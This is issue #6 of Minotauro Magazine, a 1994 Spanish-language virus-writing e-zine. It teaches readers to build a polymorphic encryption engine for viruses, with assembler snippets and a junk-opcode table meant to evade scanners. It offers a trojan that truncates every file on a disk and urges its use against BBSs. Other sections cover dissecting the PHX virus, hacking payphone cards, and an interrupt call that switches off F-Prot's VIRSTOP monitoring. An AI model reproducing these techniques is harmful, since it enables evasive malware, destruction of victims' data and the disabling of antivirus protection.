Minotauro Magazine Issue #6 Diciembre 10, 1994
A Word from the Editors:
Kewl. Uhh, sorry. Ya vamos por la edicion #6 de la mino, y se va
para arriba. Como es, ah, les doy un consejo, jamas escriban una editorial
despues de haber festejado el a�o nuevo. Se los digo por experiencia. h�k.
Dionysios I : +54-1-253-4389 (23hs a 09hs)
Dionysios II : +54-1-253-2098 (23hs a 09hs)
Horarios en GMT-3
Cambiando de tema, nos hemos enterado de fuentes confiables de que
muchos de Uds. firman como [DAN]. Muchachos! No es por nada, pero [DAN]
solo somos 12! No 500 como aparecen por ahi. Asi que para evitar CUALQUIER
tipo de dudas, les mandamos una lista COMPLETA de miembros de [DAN]:
+ Lapidario [DAN]
+ Zarathustra [DAN]
+ Drako [DAN]
+ Trurl [DAN]
+ J. Von Neumann [DAN]
+ Morgan [DAN]
+ Wma [DAN]
+ Bugs Bunny [DAN]
+ Digital Kid [DAN]
+ Dr. Retro [DAN]
+ Vixer [DAN]
+ Cancerbero [DAN]
=======================
12 miembros NADA MAS ok ??
Hoy, 1ero de Enero, siendo las 18:05hs, reeditamos la editorial, ya
que se tardo mucho para definir el futuro de la revista. Si la sacabamos
con entorno, sin entorno, y como para tratar cada idea propuesta para la
revista se tarda demasiado, se atraso casi um mes esta edicion. Pero ya con
casi todo arreglado, esperamos que la proxima salga mas pronto. Ya que
estamos, les comentamos que nos hicieron una nota en la Virus Report
(revista argentina de Virus y otras yerbas, pero con una tendencia
indefinida), y basandonos en estos hechos, consideramos que la nota fue
favorable para la revista, lo que nos da ganas de seguir editandola.
Agradecimientos:
A Tattoo por habernos hecho reir tanto ultimamente, a Virus Report
por haber cumplido con su promesa de ayudar a los hackers locales a
progresar, a Satanic Brain por haberse pasado a UNIX y hacer cada logon
exitante, a la empresa Reuters por haberle brindado servicios telefonicos a
mucha gente, a TELECOM por no deshabilitar los # y * de sus telefonos
publicos y a EDESUR por dejarnos sin luz TODOS LOS PUTOS DIAS entre las
17hs y 22hs. A todos ustedes: GRACIAS.
Editorial ................................................ 000
Mutator parte #1 ......................................... 001
Virus Willistrover III (PHX) ............................. 002
Trunker Trojan ........................................... 003
Tarjetas de Telefucknica parte #2 ........................ 004
An�lisis del VIRSTOP...................................... 005
UNIX Tutorial ............................................ 006
Drako [DAN]
Minotauro Magazine Issue #6
MUTATOR 1.0
El Comienzo de la Historia
Por Lapidario
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Se comentara el concepto, desarrollo, implementacion y evaluacion de una
;rutina de polimorfismo. Esta rutina es solo con fines de divulgacion
;quedando a consiencia del usuario final lo que haga con ella. El autor
;LAPIDARIO [DAN] ni los BBS Dionysios I o II, asi como tampoco ninguno de
;los miembros [DAN] se responsabiliza por la informacion brindada aqui asi
;como danos que se podria llegar a causar por el uso indevido de parte de
;los lectores del codigo descripto aqui.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Esta nota consiste de tres articulos. Si usted desea evaluar la rutina
rapidamente le recomiendo leer el file MUTATOR0.TXT.
Junto con el primer articulo se distribuyen los siguientes archivos.
1) MUTATOR0.TXT Descripcion rapida para avanzados de la mutator.
2) MUTATOR.ASM Fuente completo y funcional de la mutator.
3) MUTATOR.OBJ Sin palabras.
4) PRUEBA.ASM Fuente del programa que testea a la mutator.
5) PRUEBA.OBJ Sin palabras.
6) PRUEBA.COM Ejecutable del programa testeador. Corra este programa
para observar los efectos del polimorfismo.
Encriptacion parte II:
======================
En el articulo anterior terminamos con la siguiente frase:
"Bien ahora la rutina encr_desc ligeramente cambia entre reproducion
y reproduccion.
Es esto la solucion final ?
No, pues aunque se la hemos complicado a los anti todavia una vez estudiado
el codigo los scaners podran usar comodines. Eso si les costara mas trabajo
( he he he... ). Bueno por algo se desarrollo la mutacion !!!!!. Creo para
el metodo de xor ya basta lo explicado.
Como veran la rutina de encriptacion no debe por que ser igual a la de
desencriptacion solo basta con que la segunda desaga los cambios producidos
por la primera.
Por ejemplo se podra encriptar sumando un numero y desencriptar restando, o
rotando x veces cada byte a la derecha y desencriptar rotando a la
izquierda, o etc etc, o una mezcla de todos.
Si usted leyo, ejecuto, medito y comprendio el articulo anterior estoy
seguro que implentar sistemas de encriptacion usando otras operaciones
aritmeticas y logicas (lease add, sub, ror etc...) esta a su alcance. Por
lo anterior discutiremos e implementaremos una rutina basica de
polimorfismo."
Polimorfismo no es mas que un tipo especial de encriptacion de un virus.
Quien se encarga del polimorfear un codigo ?
Una rutina disenada especialmente es la encargada de esta tarea.
Que debe hacer esta rutina ?
Esta rutina debera generar una nueva rutina de encriptacion cada vez que el
virii se quiera reproducir.
Nada mas que eso ?
No tambien debera generar la rutina de desencriptacion adecuada a la de
encriptacion que genero.
En que consiste la rutina de encriptacion ?
Consiste en una secuencia de operaciones matematicas y logicas hechas sobre
los bytes del codigo (not, add, sub, xor, ror, rol, inc, etc ). Ademas
intercalara entre estas instrucciones, otras que no cumplen ningun
cometido, solo estaran para variar la longitud del codigo y para camuflear.
Pero entonces la rutina de encriptacion no tendriamos que guardarla en el
codigo del virus reproducido ?
Por supuesto que no, dado que lo unico que interesa es que la rutina de
DESENCRIPTACION se encuentre en el codigo reproducido.
Que codiciones debe tener la rutina de polimorfismo ?
Debe generar una rutina de encriptacion de tal manera de asegurar que el
virus sea encriptado con un algoritmo lo suficientemente complejo y
variable, de tal manera que no pueda ser desencritado por el antivirus.
Bien, pero como seria todo esto ?
Mas o menos deberia seguir los siguientes pasos: (mas o menos pues puede
ser variado infuenciado por el libre albedrio del autor de cada rutina)
1) Su codigo viral decide que es el momento de infectar un dado archivo,
entonces llama a la rutina de polimorfismo pasandole a esta los
parametros necesarios.
2) La rutina de polimorfismo creara en memoria una imagen del codigo
original del viri (a esta imagen la llamamos vir_imagen.) La rutina de
polimorfismo creara en memoria una nueva rutina de encriptacion y su
correspondiente rutina de desencriptacion.
3) La rutina de polimorfismo encriptara el virimagen virus segun la rutina
generada en el paso 2 y le anexara al comienzo la rutina de
desencriptacion tambien generada en el paso 2.
4) La rutina devolvera parametros utiles al codigo llamador.
5) Se infecta al archivo victima con la imagen creada en memoria en el
paso 3.
Bien cuando la nueva victima es ejecutada, lo primero que hara sera
ejecutar la rutina de desencriptacion y luego seguira su ejecucion
normalmente.
Esta rutina de polimorfismo debe escribirse en cada virus que uno haga ?
No, la rutina de polimorfismo debe ser un codigo objeto que pueda ser
linkeada con cualquier virus.
Como indico en el codigo del virus para que use la rutina de mutacion ?
Pues simplemente al comienzo del .ASM usted debe escribir:
EXTRN MUTATOR:NEAR
(Asumimos que la rutina mutator esta en el mismo segmento)
Y procede a escribir su codigo como de costumbre hasta que necesita
encriptar el codigo o dicho de otra manera usar la rutina.
;Preparo los registros para pasar parametros y...:
CALL MUTATOR
Por supuesto que usted debe linkear la mutator.obj junto con su viri.obj
de la siguiente manera:
TLINK [/t] VIRI.OBJ MUTATOR.OBJ
Si observamos el encabezado de la rutina mutator vemos que la rutina es
definida como PUBLIC esto es para que el codigo del virus pueda hacer uso
de ella, y ademas el tipo de alineacion de segmento es del tipo byte.
Esto indica que el codigo se anexa en cualquier offset. (No nesesariamente
que empiece en 0 quiero decir.)
Como es que la rutina de polimorfismo genera un unico par de rutinas de
encriptacion/desencriptacion ?
Primero que todo debemos tener una rutina que nos permita hallar numeros
aleatorios de 16 bits. Esto puede ser tan sencillo como usar in al, 40h y
usarlo como numero seudoaleatorio o tan complicado como una rutina propia
de de generacion numeros aleatorios. En este articulo de ejemplo usaremos
la rutina randgen:
Esta rutina genera un numero aleatorio en el rango (0 - AX) y se basa en la
generacion de una cadena de maxima longitud, entonces en 16 bits tendremos
una longitud de 2 elevado a la 16. El algoritmo usado responde a la
siguiente exprexion:
x(n+1)=(2053 * Xn + 13839 ) mod 2^16
Sugerida por McCracken en A Guide to PL/M Programming.
El modulo significa que hay que tomar el residuo de la division del
parentesis por 2^16. Este tipo de generacion de numeros seudoaleatorios
es usado con algunas ligeras modificaciones por otras rutinas de
polimorfismo. Esta rutina no corrompe los registros devolviendo en AX el
numero aleatorio.
En conclucion la generacion de numeros aleatorios esta realizado en 2
rutinas y una variable.
1) Genrand (rutina de generacion y normalizacion)
2) Baser (genera la semilla para genrand)
3) La variable baserand (se almacena aqui la semilla)
Como datos a la rutina de polimorfismo (llamada de ahora en mas mutator)
le debemos enviar los siguientes datos:
DS:DX :Direccion de comienzo del codigo a encriptar (su virus + la rutina
mutator)
CX :Longitud del codigo en bytes (su virus + la rutina mutator)
ES:DI :Zona donde puede trabajar la rutina mutator. Aqui se ubicara el
codigo encriptado y la rutina de desencriptacion. El codigo
encriptado contendra a su virus y la rutina mutator. Ademas usara
una parte memoria para trabajos propios de la rutina.
La rutina mutator una vez realizada la tarea devuelve los siguientes datos:
CX :Longitud final del viri imagen encriptado con el agregado de la
rutina desencriptacion.
Los demas registros son devueltos tal cual entraron.
O sea la rutina mutator generara una rutina de desencriptacion que se
agregara a continuacion de ES:DI (inclusive) encriptando segun una rutina
de encriptacion tambien generada por ella desde ES:DI + la longitud de la
rutina de desencriptacion + 1 (inclusive) hasta ES:DI+CX-1 (inclusive).
(*)
CX que le devuelve la rutina que equivale a la longitud final del viri
imagen.
ESTRUCTURA DEL VIRI IMAGEN:
===========================
ES:DI-> ______________________ ____
| | ; LONGITUD }
| RUTINA DE | ; VARIABLE }
| DESENCRIPTACION | ; DE AX. }
|DESENCRIPTA A PARTIR | ; MAXIMA LONGITUD=0FFH } LONGITUD
| (A) | ; } EN BYTES
|______________________| ; } DE ESTA
A------> | SU COPIA DE VIRI | } PORCION
| EN MEMORIA | } DEVUELTA
| ENCRIPTADO SEGUN LA | } EN CX
| RUTINA DE ENCRIPTACION } POR LA
| | } RUTINA
|______________________| ___} MUTATOR
Debemos definir que instrucciones utilizaremos para encriptar y
desencriptar. En este ejemplo usaremos las siguientes:
Encriptar: Desencriptar:
add .................................... sub
sub .................................... add
xor .................................... xor
ror .................................... rol
rol .................................... ror
inc .................................... dec
dec .................................... inc
not .................................... not
Con esto no basta, devemos definir si estas instruciones se la aplicamos a
bytes a word, etc etc, como asi tambien de que manera direccionamos a los
datos (llamese punteros). Una vez definidos estos puntos podremos
implementar la manera de organizar las rutinas que realizen la tarea de
leer un dato del viri original y lo encripte en memoria como asi tambien la
desencriptacion adecuada.
Como para no complicar la historia definimos por decreto que aplicaremos
las operaciones de encriptacion a " bytes ".
Por otro lado no interesa que la rutina de encriptacion tenga que ser
variable (en cuanto a los registros me refiero), por lo tanto siempre
utilizaremos los mismos registros para manipular los datos.
Para la rutina de desencriptacion:
A) Basicamente tenemos que usar un registro como indice para acceder a los
datos, usaremos DI o SI. Por lo tanto la rutina mutator debera elegir
cual de los dos.
B) Como registro de contador podemos elegir: AX,BX,CX o DX
C) Como registro sobre el cual se realiza la operacion de carga
encriptacion y descarga del dato encriptado, podremos usar cualquiera
que no se halla usado en B).
Ejemplo:
Inicializamos DI=puntero CX=contador
encrip: descrip1:
mov al,[di] mov al,[di]
rol al,1 inc al
PII (*)
dec al ror al,1
mov [di],ax
inc di PII
dec cx mov [di],al
jnz encrip inc di
dec cx
jnz descrip
Pero tambien se podria haber generado esta rutina de desencriptacion.
inicializamos SI=puntero AX=contador
descrip2:
mov cl,[si]
inc cl
PII (*)
ror cl,1
PII
mov [si],cl
inc si
dec ax
jnz descrip2
Tambien debemos definir las instrucciones que perteneciendo a la rutina de
desencriptacion, estaran solamente para confundir, intercaladas con las
que si hacen la tarea de desencriptar. ((*) Las llamamos PPI)
INSTRUCCION OP CODE
nop 90
jc $+1 72 00
jnc $+1 73 00
jz $+1 74 00
jnz $+1 75 00
jpo $+1 7B 00
jpe $+1 7A 00
jno $+1 71 00
jg $+1 7F 00
js $+1 78 00
xchg ax,ax 87 C0
xchg bx,bx 87 DB
xchg cx,cx 87 C9
xchg dx,dx 87 D2
or ax,ax 0B C0
or bx,bx 0B DB
or cx,cx 0B C9
or dx,dx 0B D2
and ax,ax 23 C0
and bx,bx 23 DB
and cx,cx 23 C9
and dx,dx 23 D2
*********************************
PUSH DS 1E
POP DS 1F
*********************************
xchg al,al 86 C0
xchg bl,bl 86 DB
xchg cl,cl 86 C9
xchg dl,dl 86 D2
xchg ah,ah 86 E4
xchg bh,bh 86 FF
xchg ch,ch 86 ED
xchg dh,dh 86 F6
jmp short $+2 EB 00
mov dx,dx 89 D2
mov sp,sp 89 E4
mov si,si 89 F6
mov bx,bx 89 DB
mov al,al 88 C0
mov bl,bl 88 DB
mov bh,bh 88 FF
mov ah,ah 88 E4
mov cl,cl 88 C9
mov ch,ch 88 ED
mov dl,dl 88 D2
mov dh,dh 88 F6
mov cx,cx 89 C9
mov ax,ax 89 C0
or al,al 08 C0
or ah,ah 08 E4
or bl,bl 08 DB
or bh,bh 08 FF
or cl,cl 08 C9
or ch,ch 08 ED
or dl,dl 08 D2
or dh,dh 08 F6
(53d intrucciones inutiles)
En la rutina se almacenan estos opcodes en un vector utilizando como
indicador de separacion de instruccion o conjunto de instrucciones el byte
01. La estructura de este vector sera de la siguiente manera.
byte 1.............NUMERO DE ELEMENTOS DEL VECTOR - 1 (maximo 255)
Codificando el ejemplo anterior a utilizar en la rutina el vector sera:
ins_bag db 34h,90h,01h,72h,00h,01h,73h,00h,01h,74h,00h,01h
db 75h,00h,01h,87h,0c0h,01h
db 87h,0dbh,01h,87h,0c9h,01h,87h,0d2h,01h,0bh,0c0h,01h
db 0bh,0dbh,01h,0bh,0c9h,01h
db 23h,0c0h,01h,23h,0dbh,01h,23h,0c9h,01h,23h,0d2h,01h
db 1eh,1fh,01h
db 086h,0c0h,01h,86h,0dbh,01h,86h,0c9h,01h
db 86h,0d2h,01h,86h,0e4h,01h,86h,0ffh,01h,86h,0edh,01h
db 86h,0f6h,01h
db 0ebh,00h,01h,89h,0d2h,01h,89h,0e4h,01h,89h,0f6h,01h
db 89h,0dbh,01h
db 88h,0c0h,01h
db 7bh,00h,01h,7ah,00h,01h,71h,00h,01h,7fh,00h,01h
db 78h,00h,01h
db 88h,0dbh,01h,88h,0ffh,01h,88h,0e4h,01h,88h,0c9h,01h
db 88h,0edh,01h,88h,0d2h,01h,88h,0f6h,01h,89h,0c9h,01h
db 89h,0c0h,01h
db 08h,0c0h,01h,08h,0e4h,01h,08h,0dbh,01h,08h,0ffh,01h
db 08h,0c9h,01h,08h,0edh,01h,08h,0d2h,01h,08h,0f6h,01h
Usted observara que es posible armar en cada elemento del vector una
secuencia de instrucciones que en relidad no realizen nada util.
Es de entender que dentro de la rutina mutator hay una rutina que realiza
la tarea de incluir estas PPI en el codigo de la rutina de desencriptacion.
Esta rutina se llama "poneppi" y trabaja de la siguiente manera. La rutina
mutator decide que debe poner una o mas instrucciones PPI, entonces llama a
esta rutina que colocara tantas instrucciones PPI como le diga el registro
AX. De ordinario el registro AX es un parametro pasado por la rutina que
llama a "poneppi".
En el fuente de la rutina mutator este AX es cargado con el balor de la EQU
llamada cu_ins_ppi.
Esta rutina hace uso de las siguientes etiquetas:
seg_base: aqui se almacena ES que le pasa su codigo.
ins_counterx: puntero que en un principio es el DI original.
Se asemeja a algo asi como el registro IP.
La rutina poneppi una vez que decidio cual instruccion de las contenidas en
el vector ins_bag debe colocar llama a la rutina buscains que requiere como
parametro lo siguiente:
DI=offset donde esta el vector de instrucciones.
AX=cual instruccion de todas las contenidas en el vector.
Devuelve DI con el offset de la intruccion pedida en ax.
Supongase que se termino todo el polimorfismo y entonces la longitud del
codigo imagen sera:
CX=ins_counterx - original_di
Bueno dejamos aqui ...continuara...
DUDAS, CONSULTAS, REPORTE DE BUGS, PUTEADAS AL BBS. Minotauro Magazine Issue #6
TRUNKER Trojan
Quien de ustedes quizo volar un BBS pero no pudo por no tener
suficientes conocimientos necesarios o la informaci�n necesaria como para
hacerlo. Seguramente pensaron en aprender a hacer un virus, pero esto no es
necesario ya que lo que estamos buscando es un programa que cuando se
ejecute al instante vuele todo. Para eso vamos a hacer un TROYANO.
Que es un troyano ? Bueno supongo que habr�n leido la Minotauro 2 :-)
Donde decia lo siguiente:
Troyano: Programa especialmente hecho para causar da�o. Se los suele
^^^^^^^^ confundir con los virus, aunque no tienen NADA que ver, excepto el
hecho de que los troyanos hacen da�o, y algunos virus hacen da�o.
=======================
El troyano esta hecho en C, no toda la vida es Assembler!!! :-)
Bueno este troyano lo que hace es truncar (dejar en 0 bytes) todos los
archivos del disco. Para eso se necesita una rutina de recursividad
para entrada a directorios.
El programa entra al primer directorio que encuentra y trunca los files,
busca el primer directorio donde acaba de entrar y sigue haciendo lo mismo
hasta que no encuentra mas directorios para entrar entonces sale ("..") y
busca el pr�ximo para entrar y hacer lo mismo.
;==========================================================================
;Codigo Fuente en TRUNKER.C
;==========================================================================
Bueno, ahora a volar BBSs!!!, conseguir una cuenta no es muy dificil, si
leyeron la Minotauro 1, la parte de robos de passwords por Drako, aunque no
creo que sea necesario, ya que ahora se valida bastante online si encontras
al sysop para chat y este no es muy normal.
Bueno,...
That's all folks
Enjoy, Jason! Minotauro Magazine Issue #6:
UNIX: Sistema Operativo
Multiusuario
UNIX es un sistema operativo multiusuario. Ustedes se preguntaran
que significa Sistema Operativo Multiusuario?: Es un sistema que permite
ser usado por mas de una persona al mismo tiempo, y dependiendo de su nivel
va a tener un privilegio previamente asignado.
Es un entorno excelente para comunicaciones, ya que posee comandos con ese
proposito. Y posee tres tipos de SHELLS diferentes y cada uno tiene sus
particularidades (no son tema de esta nota). En el directorio raiz esta el
archivo UNIX que es el que bootea el sistema y cada vez que uno configura
alguna cosa ya sea drivers o com's debe re-compilarse.
Lo importante de un sistema bajo unix es saber como conseguir mas
privilegios dentro. El usuario que mas privilegios tiene, en los sistemas
standar se llama root (esto puede cambiarse pero por lo general no lo
cambian). Ademas estos usuarios pertenecen a un grupo. Por ejemplo esta el
grupo bin uno puede incluirse dentro de ellos cuando da el alta de un user!
Veamos algunos commandos:
ls -lia ;Este comando es como el dir del DOS. ls es el comando y -lia los
;parametros.
l ; " " " " " " " " pero en equipos con unix S.C.O
cp ori dest ;" " " " " copy " " indicando origen y destino.
mv ori dest ;Este comando mueve archivos se debe indicar origen y dest.
cd nomdir ;Para cambiar de directorio.
who ;Da una lista de los usuarios que estan en ese momento en el
;Sistema Trabajando!.
Estos son los comandos basicos para moverse dentro del sistema.
Ahora analicemos la estructura de un l o un ls -lia:
-rw-r--r-- 1 root other 1564 Oct 06 08:09 unix.txt
Dividamos la informacion en campos separados por espacios:
-rw-r--r-- <- Estos son los permisos del archivo.
r permiso de lectura
w permiso de escritura
x permiso de ejecucion
Se agrupan de a tres. Ej. -rwxrwxrwx. Expresemoslo asi -rwx,rwx,rwx, tengo
3 campos el primero son los permisos del duenio del archivo, el sugundo
campo indica los permisos a los que pertenecen al grupo el duenio del
archivo y el tercer campo es para los demas o sea que no son ni el duenio
ni pertenecen al grupo.
Si en el primer campito apareciera una d es porque es un directorio, solo
que en unix todo es archivo solo que se le pone el atributo directorio.
Analicemos el caso dado:
-rw-r--r-- Esto significa permiso de lectura-escritura para el duenio
y solo de lectura para el grupo y los otros.
Por supuesto que esto puede ser modificado pero tendriamos
que tener permiso de escritura.
root other ;Nombre del duenio y del grupo repectivamente.
1564 ;Tamanio
Oct 06 08:09 ;Fecha ultima modificacion
unix.txt ;Nombre del file
Bueno esto es todo por ahora espero que les sirva como para manejarse
dentro de un sistema unix, no van a ser los hackers de America pero van
a moverse bien.
Si quieren probar un poco no tienen mas que llamar a The Darkness Club y
puede ser que el bbs ese dia este en unix.
En una proxima publicacion les mostrare como cambiar permisos de archivos
y como averiguar que usuarios estan dados de alta en el sistema.
Dark Mind Minotauro Magazine Issue #6
Virus PHX (Tracker)
Por Trurl
Hoy analizamos un virus nacional que es ya un cl�sico. El PHX (PHX.823
seg�n el F-Prot y el TBAV, Willistrover III seg�n el Scan, y Tracker, seg�n
su autor, Armaged�n).
No voy a extenderme mucho porque casi todo fue ya dicho por
Bonsembiante en su nota de Virus Report N� 12 (que estoy seguro todos
ustedes tienen) y porque excepto por la activaci�n, el virus no usa
t�cnicas novedosas, solo usa cosas que todos ya conocemos (p.ej. residente
v�a MCB, infecci�n de EXE/COM tradicionales, etc).
% El "rastreador" %
Las caracter�sticas del virus son bastante comunes, excepto por una
excepcionalmente compleja activaci�n.
El PHX es un infector residente de COM/EXE. La residencia es mediante
el tradicional m�todo de MCB. Al igual que el CPW, chequea el espacio libre
del disco antes de infectar, y solo lo hace si hay al menos 2 clusters
disponibles. El virus conserva el Time & Date stamp del file, y puede
infectar archivos Read Only. Los m�todos de infecci�n son tambi�n
tradicionales: el JMP al principio del COM, y la manipulaci�n del header
EXE. Al infectar, captura la int 24 a una rutina dummy para evitar mensajes
de errores de disco. Antes de infectar un COM se fija si su size no supera
0FC00h.
Un bug en el c�digo de instalaci�n de COM produce que el virus quede
mas de una vez en memoria. (Sucede si se corren dos COM infectados).
El PHX mantiene dos contadores: El primero, es un contador de
infecciones, y lo mantiene dentro del c�digo (en mi ejemplar era 27.
Lindo!). El segundo, es un contador de instalaciones (el n�mero de veces
que el virus se instalo en una maquina) y lo mantiene en el byte 5 de la
CMOS. Este contador es chequeado en la activaci�n. Un detalle est�pido: Al
quedar residente v�a MCB, pone en el "nombre" del MCB (los �ltimos 8 bytes)
los caracteres "SP".
El virus previene la reinfecci�n mediante la b�squeda de una "marca"
final de 3 bytes. (28,8,93).
% Activaci�n %
El PHX tiene 3 disparadores. Cuando uno cualquiera de estos satisface
las condiciones necesarias, una variable se pone a 1. Estas 3 condiciones
son:
1) Un string del environment termina en "PHX". (Esto lo chequea en la
rutina de intercepci�n de la funci�n 4B, antes de infectar).
2) El port 3E4 devuelve FF. (Esto lo chequea en la misma rutina,
despu�s de infectar).
3) Se esta ejecutando un programa que el reconoce (Esto lo verifica en
la rutina de intercepci�n de la 3D02. El virus compara un c�digo que tiene
con el del CS:IP llamador, osea, el c�digo al que retornar� la INT.)
La rutina de activaci�n "en si" esta en la rutina de intercepci�n de
la funci�n 40. Si la variable de activaci�n esta en 1, chequea que el
contador de instalaciones sea mayor a 128 (80h). Esto hace que la
activaci�n sea sumamente lenta. Ahora bien, si todo esto sucede, lo UNICO
que hace el virus es switchear el bit mas alto del �ltimo byte que se
escribe v�a esta llamada a INT 40, y esto lo hace mediante un XOR [], 80h.
Osea, si el bit esta en 1, pasara a estar en 0, y viceversa. Esto si que es
un ataque LENTO. :-). Un BIT cada vez.
% Conclusi�n %
Quiz� el virus infector de COM/EXE mas viejo de la Argentina... una
activaci�n de una complejidad de la puta madre... bueno, ac� esta, m�renlo:
;---- Cut Here ------------------------------------------------------------
;Codigo Fuente en TRACKER.ASM
;--------------------------------------------------------------------------
Bueno ya no les digo "cortar, pegar, ensamblar" porque ahora Drako los
corta �l los sources. Ah, y por fin un virus al que no le tengo que hacer
ning�n fix para tener un byte-a-byte match compilando con TASM 3.1! Al fin!
Saludos a Armagedon, y a todos uds. y hasta el pr�ximo virus...
Trurl TGC [DIN DON DAN] Minotauro Magazine Issue #6
Tarjetas Telef�nicas
(Segunda parte)
J. Von Neumann & B. Bunny (c) 1994 [DAN]
Antes que nada vamos a clarar algunos puntos del nro 1 de esta nota.
Primero, el circuito interno de la targeta. Despues de ver el articulo
publicado nos dimos cuenta que el grafigo era una verdadera garcha. Por
eso afanams uno de por ahi, que es un poco mas tecnico, y que quiza le
de a aquellos que estudian o entienden de electronica una idea mas clara
del hard de la targeta. Recortenlo, encuadrenlo y cuenguenlo en su
habitacion.
Diagrama en bloques:
����������������������������������������������������������������������Ŀ
� �
� ��Ŀ �
� �CK�������������Ŀ �
� ���� � �
� ���Ŀ ������������Ŀ Reset���������������Ŀ �
� �R/W�����>� ������>� � �
� ����� � � �CONTADOR 8 BITS� �
� �����Ŀ �DECODIFICADOR� Inc � � �
� �Reset���>� ������>� � �
� ������� ��������������� ����������������� �
� E� 4 BITS � �4 BITS �
� s� ��������������� � �
� c� � ���Ŀ �������������Ŀ ���Ŀ �
� r� � � � � DEC. Y � � � �
� i� � � � ���������������� � � �
� t� � � � �16 BITS � � �
� u� � � D � �������������Ŀ � � �
� r� � � E � � Addr Y � � D � �
� a� � � C � �A � � R � �
� � � � . �16 B�d � � I � �
� � ��>� ����>�d MEMORIA ����>� V � �
� � � X � �r PROM � � E � �
� � � � � � � R � �
� � � � �X R/W Vpp � � � �
� � � � ���������������� � � �
� � � � ^ ^ � � �
� � � � ������������Ŀ � � �
� ����Ŀ � ����� � DRIVER DE � ����� �
� �Fuse��Ŀ � � ESCRITURA � � ���Ŀ �
� ������ � � ���������������� ���������>�I/O� �
� ������������������Ŀ ^ ^ ����� �
� �Logica de Proteccion� � � ���Ŀ �
� �de escritura. ��������� �������������������ĴVpp� �
� �(compuerta tipo AND)� ����� �
� ���������������������� �
� �
������������������������������������������������������������������������
Otra cosa por aclarar es lo sig : El terminal de datos lo llamamos I/O
por convension, pues asi se lo llama en todas las memorias. Pero por
este terminal solo SALEN datos, pues en modo escritura la targeta graba
un '1' por default, sin importar si en I/O hay un '1' o un '0'.
Hay muchos que nos preguntaron para que carajo servia 'Fuse'. La cosa es
facil. Los primeros 96 bits son accesibles si el fusible que esta en esa
pata esta intacto. Luego de haber programado la targeta ( nro de serie,
cantidad de pulsos, etc ), se aplica a este terminal -40 V con respecto a
masa, quemando el fusible. Asi, esa zona de datos ya no podra ser
modificada.
Mapa de memoria :
0����������������Ŀ8
� �
� � Zona protegida
� � contra escritura
� � por fusible de bloqueo.
� �
����������������Ĵ
96� �
� �
� � Zona no protegida.
� �
� �
� �
� �
������������������255
Si se fijan por ahi hay dos graficos .GIF (by Dr Retro), uno muestra
el diagrama de tiempos de la targeta en modo lectura y escritura. Aclara
un poco el panorama de como el tel se comunica con el puto chip.
Vamos a darle un breve repaso.
Reset:
La targeta se resetea poniendo Reset a '0', y aplicando un pulso de
clock. Esto hace que el contador interno se resetee tambien, apuntando al
primer bit ( bit 0 ).
Lectura: _
Para lectura Reset debe estar a nivel alto, y R/W a nivel bajo.
La salida esta siempre activa, y el contador de direcciones se incrementa
con los flancos negativos de la se�al de clock.
Luego de la operacion de Reset aparece en I/O el bit 0, luego del 1er
pulso de clock el bit 1, y asi. Luego de llegar a 255 el contador pasa a
0 de nuevo, mostrando el bit 0.
Escritura: _
Para escritura Reset debe esta a nivel alto, Vpp en 21V, y R/W en nivel
alto. Estas condiciones se deben mantener con Clock en nivel bajo de 10
a 50 ms, y luego poner Clock en nivel alto de 10 a 50 ms.
Si el contador esta apuntando al area protegida, la operacion no tendra
exito. Si esta apuntando despues de los 96 primeros bits, al bajar R/W a
'0' ( lectura) aparecera automaticamente el dato grabado a modo de
verificacion.
Bien, el otro .GIF muestra el circuito para poder conectar la targeta a
la PC. Es bastante sencillo, no requiere de grandes conocimientos para
armarlo.
Para hacer contacto con la targeta nosotros destripamos un conector tipo
slot hembra de PC, sacamos los contactos y los soldamos en una plaqueta
de pertinax cobreada. Luego conectamos cables al circuito y de ahi al
conector DB25 que se conecta en LPT1.
Recomendamos antes de conectar nada a la PC revisar muy bien lo que hemos
hecho. Que los diodos esten bien puestos ( la rayita del grafico
corresponde a la rayita que tiene dibujado sobre el encapsulado), lo
mismo que los Transistores.
Una vez que este todo corremos LECTOR.EXE que viene con esta entrega de
su zine preferido y ... HUALA, ya podemos hurgar las targetas y pensar en
como cagarlas.
Por ahora nada mas.
Enjoy it!
J. Von Neumann [DAN]
Bugs Bunny [DAN] MinoTaurio Magazine Issue # 6
������������������������������
An�lisis del VIRSTOP
by WM� [DAN]
������������������������������
El Virstop es el m�dulo residente que viene junto con el antivirus F-Prot
de Fridrik Skulason.
La idea de este articulo es ver como es el comportamiento interno de este
programa, tanto para satisfacer nuestra curiosidad como para encontrar
formas nuevas de enga�ar a este, modificar su comportamiento o lo que sea
generado por sus respectivas imaginaciones, veamos entonces...
(la versi�n analizada es la adjunta con el F-Prot 2.15, no creo que haya
muchas diferencias entre versi�n y versi�n pero est�n asvertidos..)
Pues bien, el VIRSTOP (a partir de ahora VS) captura las interrupciones
21h, 2fh, 13h y 15h. Despues por medio de la int 2fh va activando y
desactivando el monitoreo que hace mediante cada una de estas.
Los handlers de dichas interrupciones est�n en los siguientes offsets:
int 21h ����������> CS:0399h
int 2fh ����������> CS:0532h
int 13h ����������> CS:048Ch
int 15h ����������> CS:0599h
Adem�s de estos handlers, usa una rutina de tracing (int 1h), la
rutina instaladora se encuentra en CS:8311h y el handler en CS:8585h,
Handler 2Fh
�����������
Esta es el handler de la int 2fh del VIRSTOP:
;--------------------------------------------------------------------------
VStop_i2f:
Cmp Ax,1605h
Jnz next_choice
Mov Byte Ptr Cs:[02C2h],01
Jmp return
next_choice:
Cmp Ax,1606h
Jnz Seti13Flag
Mov Byte Ptr Cs:[02C2h],00
Jmp return
Seti13Flag:
Cmp Ax,4653h
Jnz return
Cmp Cx,07
Jnz try_nine
Mov cs:[Flag_i13],Bl ; Flag_i13=offset 0531h
Iret
try_nine:
Cmp Cx,09
Jnz return
Xchg Ah,Al
Mov Bx,020Ah
Nop
Push Cs
Pop Ds
Mov SI,0223h
Mov DI,01D3h
Iret
return:
Cmp Word Ptr Cs:[old2f],0
Jnz jump_to_2f
Cmp Word Ptr Cs:[old2f+2],0
Jnz jump_to_2f
Iret
jump_to_2f:
jump db 0eah
old2f db 0
;--------------------------------------------------------------------------
Por lo tanto, si llamamos a la int 2fh con el VS en memoria con:
---------------------------------------------------------------------------
Input: AX = 4653h
CX = 07h
BL = 1 --> Desactiva Monitoreo Int 13h
